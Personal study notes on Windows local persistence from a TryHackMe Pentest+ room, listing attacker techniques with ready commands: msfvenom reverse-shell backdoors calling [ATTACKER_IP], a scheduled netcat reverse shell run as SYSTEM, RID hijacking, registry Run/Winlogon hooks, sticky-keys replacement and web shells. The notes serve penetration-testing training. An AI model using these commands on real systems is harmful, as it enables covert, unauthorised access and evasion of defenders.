📞
Contrxl
External Links
Theoretical Learning
Theoretical Learning
  • 🏡Home
  • 📰News & Information
  • Systems Administration
    • ⌨️Cisco
      • Networking Basics
        • Communication in a Connected World
        • Network Components, Types and Connections
        • Wireless and Mobile Networks
        • Home Networking Technologies
        • Communication Protocols
        • Network Media
        • The Access Layer
        • The Internet Protocol
        • IPv4 and Network Segmentation
    • 🎓Learning Links
    • 💻Microsoft
      • AZ-900
        • 1. Cloud Concepts
          • 1.1 Describe Cloud Computing
            • 1.1.1 Introduction - Cloud Computing
            • 1.1.2 What is Cloud Computing?
            • 1.1.3 The Shared Responsibility Model
            • 1.1.4 Define Cloud Models
            • 1.1.5 Define the Consumption based Model
            • 1.1.6 Summary - Cloud Computing
          • 1.2 Describe the Benefits of Cloud Services
            • 1.2.1 Introduction - Cloud Services
            • 1.2.2 Benefits of High Availability and Scalability
            • 1.2.3 Benefits of Reliability and Predictability
            • 1.2.4 Benefits of Security and Governance
            • 1.2.5 Manageability in the Cloud
            • 1.2.6 Summary - Cloud Services
          • 1.3 Describe Cloud Service Types
            • 1.3.1 Introduction - Cloud Service Types
            • 1.3.2 Describe Infrastructure as a Service
            • 1.3.3 Describe Platform as a Service
            • 1.3.4 Describe Software as a Service
            • 1.3.5 Summary - Cloud Service Types
        • 2. Architecture
          • 2.1 Core Architectural Components
            • 2.1.1 Introduction - Core Architectural Components
            • 2.1.2 What is Microsoft Azure
            • 2.1.3 Get Started with Azure Accounts
            • 2.1.4 Explore the Learn Sandbox
            • 2.1.5 Describe Azure Physical Infrastructure
            • 2.1.6 Describe Azure Management Infrastructure
            • 2.1.7 Create an Azure Resource
            • 2.1.8 Summary
          • 2.2 Compute and Networking
            • 2.2.1 Introduction - Compute and Networking
            • 2.2.2 Describe Azure VMs
            • 2.2.3 Create an Azure VM
            • 2.2.4 Describe Azure Virtual Desktop
            • 2.2.5 Describe Azure Containers
            • 2.2.6 Describe Azure Functions
            • 2.2.7 Describe Application Hosting Options
            • 2.2.8 Describe Azure Virtual Networking
            • 2.2.9 Configure Network Access
            • 2.2.10 Describe Azure VPNs
            • 2.2.11 Describe Azure ExpressRoute
            • 2.2.12 Describe Azure DNS
            • 2.2.13 Summary - Compute and Networking
          • 2.3 Azure Storage Services
            • 2.3.1 Introduction - Storage Services
            • 2.3.2 Describe Azure Storage Accounts
            • 2.3.3 Describe Azure Storage Redundancy
            • 2.3.4 Describe Azure Storage Services
            • 2.3.5 Create a Storage Blob
            • 2.3.6 Identify Azure Data Migration Options
            • 2.3.7 Identify Azure File Movement Options
            • 2.3.8 Summary - Storage Services
        • 3. Management and Governance
          • 3.1 Cost Management
            • 3.1.1 Introduction - Cost Management
            • 3.1.2 Describe Factors that can Affect Costs in Azure
            • 3.1.3 Compare Pricing and TCO Calculators
            • 3.1.4 Estimate Workload Costs
            • 3.1.5 Compare Workload Costs with TCO
            • 3.1.6 Describe the Microsoft Cost Management Tool
            • 3.1.7 Describe the Purpose of Tags
            • 3.1.8 Summary - Cost Management
          • 3.2 Governance and Compliance
            • 3.2.1 Introduction - Compliance and Governance
            • 3.2.2 Describe the Purpose of Microsoft Purview
            • 3.2.3 Describe the Purpose of Azure Policy
            • 3.2.4 Describe the Purpose of Resource Locks
            • 3.2.5 Configure a Resource Lock
            • 3.2.6 Describe the Purpose of the Service Trust Portal
            • 3.2.7 Summary - Compliance and Governance
          • 3.3 Tools for Managing Azure Resources
            • 3.3.1 Introduction - Tools for Managing Azure Resources
            • 3.3.2 Describe Tools for Interacting with Azure
            • 3.3.3 Describe the Purpose of Azure Arc
            • 3.3.4 Describe ARM and Azure ARM Templates
            • 3.3.5 Summary - Tools for Managing Azure Resources
          • 3.4 Monitoring Tools
            • 3.4.1 Introduction - Monitoring Tools
            • 3.4.2 Describe the Purpose of Azure Advisor
            • 3.4.3 Describe Azure Service Health
            • 3.4.4 Describe Azure Monitor
    • 📘Microsoft Portal Links
  • Cybersecurity
    • ❓Anonymity Tools
    • 💡OSINT
      • IP & Domain OSINT
      • Email & Username OSINT
      • Vulnerability OSINT
    • 📚Projects
      • ‼️A Simulation Study of DDoS
  • 🦈Hacking
    • ☁️Cloud Attack Vectors
      • Credential Harvesting
      • Privilege Escalation
      • Account Takeover
      • Metadata Service Attacks
      • Misconfigured Cloud Assets
      • Resource Exhaustion and DoS
      • Cloud Malware Injection Attacks
      • Side-Channel Attacks
    • Maintaining Persistence
      • Reverse and Bind Shells
      • Command and Control (C2) Utilities
      • Scheduled Jobs, Tasks and Custom Daemons
    • 💻Network-Based Vulnerabilities
      • Windows Name Resolution and SMB
      • DNS Cache Poisoning
      • SNMP
      • SMTP
      • FTP
      • Pass-the-Hash
      • Kerberos and LDAP-Based Attacks
      • On-Path
      • Route Manipulation
      • DoS and DDoS
      • NAC Bypass
      • VLAN Hopping
      • DHCP Starvation/Rogue DHCP Server
    • Pivoting
      • Post-Exploitation Scanning
      • Legitimate Utilities and LotL
      • Privilege Escalation
    • Specialised System Vulnerabilities
      • Mobile Devices
      • Internet of Things Devices
      • Virtual Machines
      • Containerised Workloads
    • ⚒️Tools
      • Burp Suite
        • Repeater
        • Intruder
        • Other Modules
      • GoPhish
      • Hydra
      • John the Ripper
      • Metasploit
        • Exploitation
        • Meterpreter
      • NMAP
      • Wireshark
    • 🖥️TryHackMe
      • Complete Beginner
        • 1. Complete Beginner Intro
        • 2. Linux Fundamentals
        • 3. Introductory Networking
        • 3.1 Network Exploitation Basics
        • 4. OWASP Top 10 Exploits
        • 5. Upload Vulnerabilities
        • 5.1 An Example Methodology
        • 6. Cryptography - Hashing
        • 7. Cryptography - Encryption
        • 8. Active Directory Basics
        • 9. What the Shell?
        • 10. Linux Privesc
        • 11. More Linux Privesc
      • Jr Penetration Tester
        • Walking an Application
        • Content Discovery
        • Subdomain Enumeration
        • Authentication Bypass
        • IDOR
        • File Inclusion
        • SSRF
        • XSS (Cross-site Scripting)
        • Command Injection
        • SQL Injection
        • Passive Reconnaissance
        • Active Reconnaissance
        • Protocols and Servers
        • Protocol and Server Attacks
        • Vulnerabilities
        • Exploiting Vulnerabilities
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • CompTIA Pentest+
        • Planning and Scoping
          • Pentesting Fundamentals
          • Red Team Engagements
          • Governance and Regulation
        • Tools and Code Analysis
          • Metasploit: Introduction
          • Wireshark: The Basics
          • Burp Suite: The Basics
          • Hydra
          • Python Basics
        • Attacks and Exploits
          • Phishing
          • Windows Local Persistence
          • Breaching Active Directory
          • Lateral Movement & Pivoting
    • Web Application Vulnerabilities
      • The HTTP Protocol
      • Business Logic Flaws
      • Injection-Based Vulnerabilities
      • Authentication-Based Vulnerabilities
      • Authorisation-Based Vulnerabilities
      • Cross-Site Scripting (XSS)
      • Cross-Site Request Forgery (CSRF/XSRF) and Server-Side Request Forgery (SSRF)
      • Clickjacking
      • Security Misconfigurations
      • File Inclusion Vulnerabilities
      • Insecure Coding Practices
    • Wireless Vulnerabilities
      • Rogue Access Point/Evil Twin
      • Disassociation/Deauthentication
      • Preferred Network List Attack
      • Wireless Signal Jamming
      • War Driving
      • Initialization Vector (IV) and Insecure Wireless Protocol
      • KARMA
      • Fragmentation Attacks
      • Credential Harvesting
      • Bluejacking and Bluesnarfing
      • RFID Attacks
Powered by GitBook
On this page
  1. Hacking
  2. TryHackMe
  3. CompTIA Pentest+
  4. Attacks and Exploits

Windows Local Persistence

Learn the most common persistence techniques used on Windows.

Introduction

Establishing persistence is the first task you have as an attacker after gaining access to a network. Persistence refers to creating alternate ways to gain access to a host without going through exploitation all over again. Some reasons why you want persistence include:

  • Re-exploitation isn't always possible : unstable exploits may kill vulnerable processes during the exploitation, only giving you one shot.

  • Getting a foothold is hard to reproduce : if you gained access using a phishing campaign, repeating it to access another host is too much work & may not be as efficient.

  • The blue team is after you : any vulnerability used to gain access might be patched if you are caught.

Assigning Group Memberships

Adding users to groups with net local group [GROUP] can allow persistence to be maintained. The following groups can be useful for persistence:

  • Administrators : adds a user to the administrators group, useful, but easily detected.

  • Backup Operators : gives a user global read/write for any file or registry key, ignoring DACL. This would allow copying of SAM and SYSTEM registry hives.

  • Remote Management Users : gives a user permissions to use winRM.

Special Privileges and Security Descriptors

Another method of persistence is to assign a user special privileges, this can be done regardless of their group memberships. The steps to assign a user permissions for SeBackup and SeRestore are:

  1. secedit /export /cfg config.inf

  2. Open config.inf and find [Privilege Rights], add the desired user at the end of the SeBackupPrivilege and SeBackupRestore lines.

  3. secedit /import /cfg config.inf /db config.sdb

  4. secedit /configure /db config.sdb /cfg config.inf

  5. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

This gives any user the equivalent permissions to "Backup Operator". The user can then be given permission to use WinRM via the security descriptor by running the following in PowerShell:

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Then choose "Add" and add the desired user.

RID Hijacking

When users are created, they get an identifier called an RID (Relative ID) assigned. This is a numeric ID representing the user, when a user logs on, the LSASS process gets its RID from the SAM hive and then creates an access token associated with that ID. If we can tamper with the registry value, we can force Windows to assign an Administrator access token to an unprivileged user by associating the same RID with both accounts.

To find assigned RIDs, run wmic useraccount get name,sid. The end part of the SID is the user RID. All users will have an RID greater than 1,000.

To assign an RID to a user, the SAM needs to be edited in Regedit. The SAM can only be edited by SYSTEM, a tool like psexec can be used to run regedit for editing with: PsExec64.exe -i -s regedit. Once in, find the SAM at HKLM\SAM\SAM\Domains\Account\Users\. To find and modify a user, search for their ID in Hex format and then modify the "F" value under the key. The users RID is held in position 0x30, modifying this to match the admin RID will make Windows recognise that user as Admin next time they logon.

Executable Files

If you find any .exe files on a users desktop, there's a high chance they run these frequently. These can be hijacked with a payload of your preference using msfvenom. For example, the following would create a backdoored version of Putty which executes a reverse_tcp meterpreter payload silently, as well as running Putty.

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=[ATTACKER_IP] lport=3333 -b "\x00" -f exe -o puttyX.exe

Shortcut Files

Shortcut files can also be modified. Right-clicking and viewing properties for a shortcut will show where it points to, changing this to a custom script in a different location like C:\Windows\System32 would allow you to execute the usual program and trigger a reverse shell.

Hijacking File Associations

The default file system associations are stored in HKLM\Software\Classes. To see a which program opens a file check the "Data" field alongside the association, for example, .txt is associated with ProgID txtfile. You can then find and modify the command for that ProgID to force it to execute malicious code as well as open the file extension (most ProgIDs have a shell\open\command).

Backdooring Services

A service can be created and started using the following commands:

sc.exe create TestService binPath= "net user Administrator Passwd123" start= auto
sc.exe start TestService

This example will reset the Administrator password to "Passwd123". The service is also set to start automatically with "start= auto" so it starts without user interaction. Msfvenom can also beused to create a malicious service executable:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=3333 -f exe-service -o rev-svc.exe

You can then upload this to a target, and point a malicious service at it to obtain a reverse shell.

Modifying Existing Services

Modification of an existing service may be stealthier than creating an entirely new service. To search for current services, use: sc query state=all. When using a service for persistence, the three things to pay attention to are:

  1. The executable BINARY_PATH_NAME should point to our payload.

  2. The START_TYPE should be automatic, to avoid user interaction.

  3. The SERVICE_START_NAME, should preferably be LocalSystem.

Existing services can be modified with sc.exe config [SERVICE_NAME] [options].

Abusing Scheduled Tasks

An example of this would be to create a task which triggers a reverse shell every minute:

schtasks /create /sc minute /mo 1 /tn Backdoor /tr "c:\tools\nc64 -e cmd.exe [ATTACKER_IP] 3333" /ru SYSTEM

This will, however, be noticeable if the compromised user lists its scheduled tasks. To hide this, we can delete the Security Descriptor (SD) which is located in: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. To delete the SD value from registry, you would need to use a tool like psexec to enter RegEdit as system.

Startup Folder

A malicious payload can be created using msfvenom as shown before, this can then be placed in the users AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup directory. Alternatively, this can be placed in C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp to trigger it for all users.

Run/RunOnce

Creating a REG_EXPAND_SZ entry under any of the following paths can force a user to run a program on logon, allowing you to gain access:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

The key value should point to your payload e.g. C:\Windows\payload.exe. HKCU will affect only current user, while HKLM will affect whole machine. Programs specified in RunOnce will only be run a single time.

Winlogon

This is the component of Windows that loads your user profile after authentication. Winlogon uses registry keys at HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\, the interesting ones are:

  • Userinit: points to userinit.exe which restores your user profile preferences.

  • shell: points to the system shell, usually explorer.exe.

Replacing any of these values with a reverse shell would break the logon sequence, however, if you append a command using a comma then Winlogon will process it all e.g.:

  • C:\Windows\system32\userinit.exe, C:\Windows\myshell.exe

Logon Scripts

While loading your profile, userinit.exe also checks for an environment variable called UserInitMprLogonScript. This can be used to assign a logon script, this isn't set by default so we can create one with any value we like. To create this variable make a REG_EXPAND_SZ key under HKCU\Envrionment with the name UserInitMprLogonScript and the value pointing to your payload. There is no HKLM equivalent for this, so it must be done per user.

Sticky Keys

Pressing SHIFT 5 times is the Windows shortcut to activate sticky keys. When executed, Windows runs the binary at C:\Windows\System32\sethc.exe, if we can replace this binary with something like cmd.exe, then we can trigger it by simply pressing the shortcut. To do this, the following commands need to be executed first:

takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant [USER]:F

Once this is done, the .exe can be replaced.

Utilman

Utilman is the Windows application used to provide the "Ease of Access" options on the lock screen. Using the same technique as above in Sticky Keys, we can replace C:\Windows\System32\utilman.exe with cmd.exe to instead execute that every time the "Ease of Access" button is clicked on the lock screen.

Web Shells

Uploading a shell to the web directory will grant access with the privilege of the configured user in IIS (by default iis apppool\defaultapppool), which has the special SeImpersonatePrivilege. The easiest way to do this, is to download a web shell and place it on the machine under C:\inetpub\wwwroot\. Then you can navigate to the web server IP to access and use the shell with: http://[IP_ADDR]/shell.aspx.

Note blue teams typically check file integrity in web directories.

Last updated 4 months ago

🦈
🖥️